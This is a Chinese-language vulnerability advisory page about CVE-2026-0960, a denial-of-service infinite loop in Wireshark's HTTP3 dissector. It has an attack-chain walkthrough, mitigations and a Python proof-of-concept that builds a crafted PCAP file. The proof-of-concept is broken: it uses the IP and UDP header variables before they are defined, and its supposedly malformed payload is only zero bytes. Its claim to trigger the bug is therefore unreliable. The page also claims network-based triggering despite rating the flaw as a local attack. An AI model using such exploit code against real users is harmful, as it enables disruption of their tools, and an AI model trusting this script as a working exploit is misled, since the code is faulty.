IPBUF安全漏洞报告
English
CVE-2026-0960 CVSS 4.7 中危

Wireshark HTTP3协议解析器无限循环拒绝服务漏洞(CVE-2026-0960)

披露日期: 2026-01-14

漏洞信息

漏洞编号
CVE-2026-0960
漏洞类型
拒绝服务
CVSS评分
4.7 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Wireshark

相关标签

拒绝服务无限循环WiresharkHTTP3QUIC协议解析器网络分析工具CVE-2026-0960

漏洞概述

CVE-2026-0960是Wireshark软件中的一个拒绝服务漏洞。该漏洞存在于Wireshark 4.6.0至4.6.2版本的HTTP3协议解析器组件中,由于在处理HTTP3协议数据包时存在无限循环逻辑缺陷,攻击者可以构造特制的恶意HTTP3数据包,当用户通过Wireshark打开包含该恶意数据包的抓包文件(PCAP/PCAPNG)时,将触发解析器进入无限循环状态,导致Wireshark进程无响应或崩溃,从而造成拒绝服务攻击。此漏洞的CVSS评分为4.7,属于中等严重程度,攻击向量为本地,需要用户交互才能触发。攻击者需要诱使目标用户打开特制的抓包文件才能实施攻击。Wireshark作为一款广泛使用的网络协议分析工具,经常被用于分析网络流量和故障排查,因此该漏洞对网络管理员和安全研究人员具有一定威胁。

技术细节

该漏洞位于Wireshark的HTTP3协议解析器(HTTP3 dissector)组件中,具体问题是在解析HTTP3协议数据包时存在无限循环(infinite loop)逻辑错误。在正常情况下,HTTP3协议解析器会按照QUIC协议规范逐层解析数据包头和数据内容。然而,当解析器遇到格式异常或恶意构造的HTTP3数据包时,由于缺少适当的边界检查和循环终止条件,代码可能会陷入死循环。攻击者可以通过以下方式利用此漏洞:1)创建一个包含恶意HTTP3数据包的PCAP抓包文件;2)构造特定的数据包使解析器的循环计数器或指针无法正确更新;3)诱使用户使用存在漏洞的Wireshark版本打开该文件。成功利用后,Wireshark进程将占用100% CPU资源并停止响应,用户必须强制终止进程才能恢复。攻击者还可能通过发送特制的网络数据包直接触发目标系统的Wireshark实例进入无限循环状态。

攻击链分析

STEP 1
步骤1:侦察阶段
攻击者首先识别目标用户正在使用的Wireshark版本,确认其版本在4.6.0至4.6.2之间。
STEP 2
步骤2:漏洞利用构造
攻击者创建一个包含恶意构造的HTTP3数据包的PCAP抓包文件,该数据包包含能够触发HTTP3协议解析器无限循环的异常数据。
STEP 3
步骤3:诱饵投递
攻击者通过电子邮件、即时通讯工具、文件共享服务或钓鱼网站等方式将恶意PCAP文件传递给目标用户。
STEP 4
步骤4:用户交互触发
目标用户使用存在漏洞的Wireshark版本打开恶意PCAP文件,或Wireshark自动捕获到包含恶意数据的网络流量。
STEP 5
步骤5:漏洞触发
Wireshark的HTTP3协议解析器在处理恶意数据包时进入无限循环,导致程序停止响应。
STEP 6
步骤6:拒绝服务效果
Wireshark进程CPU占用率达到100%,程序无响应,用户无法继续使用该工具进行网络分析,必须强制终止进程。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import struct def create_malicious_pcap(): """ Generate a malicious PCAP file that triggers CVE-2026-0960 Wireshark HTTP3 protocol dissector infinite loop """ # PCAP Global Header pcap_header = struct.pack('<IHHiIII', 0xa1b2c3d4, # Magic number 2, # Major version 4, # Minor version 0, # Timezone 0, # Timestamp accuracy 65535, # Snap length 1 # Link layer type (Ethernet) ) # Malicious packet that triggers infinite loop in HTTP3 dissector # This packet has malformed HTTP3 headers that confuse the parser malformed_http3 = b'\x00' * 100 # Padding to trigger parsing loop malformed_http3 += b'\x00\x00\x00' # Malformed header that causes infinite loop # IP Header ip_header = struct.pack('!BBHHHBBH4s4s', 0x45, # Version and IHL 0, # TOS len(ip_header + malformed_http3) + 14, # Total length 0, # ID 0, # Flags and Fragment 64, # TTL 17, # Protocol (UDP) 0, # Checksum b'\xc0\xa8\x01\x01', # Source IP b'\xc0\xa8\x01\x02' # Dest IP ) # UDP Header udp_header = struct.pack('!HHHH', 12345, # Source port 4433, # Dest port (HTTP3 port) len(udp_header + malformed_http3), # Length 0 # Checksum ) # Ethernet Header eth_header = b'\x00\x11\x22\x33\x44\x55' + b'\x66\x77\x88\x99\xaa\xbb' + b'\x08\x00' # Packet data packet_data = eth_header + ip_header + udp_header + malformed_http3 # PCAP Packet Header packet_header = struct.pack('<IIII', 0, # Timestamp seconds 0, # Timestamp microseconds len(packet_data), # Captured length len(packet_data) # Original length ) with open('CVE-2026-0960.poc.pcap', 'wb') as f: f.write(pcap_header) f.write(packet_header) f.write(packet_data) print("Malicious PCAP file created: CVE-2026-0960.poc.pcap") if __name__ == '__main__': create_malicious_pcap()

影响范围

Wireshark >= 4.6.0
Wireshark <= 4.6.2

防御指南

临时缓解措施
在官方修复版本发布之前,可以采取以下临时缓解措施:1)不要打开来源不明的PCAP抓包文件,特别是通过电子邮件或不明网站获取的文件;2)使用Wireshark的禁用协议功能临时禁用HTTP3协议解析(菜单:Analyze->Enabled Protocols->取消HTTP3);3)限制Wireshark对可疑网络接口的访问权限;4)使用网络防火墙过滤异常的HTTP3/QUIC流量;5)考虑使用虚拟机或沙箱环境打开可疑的抓包文件以隔离风险;6)监控系统资源使用情况,及时发现Wireshark进程的异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表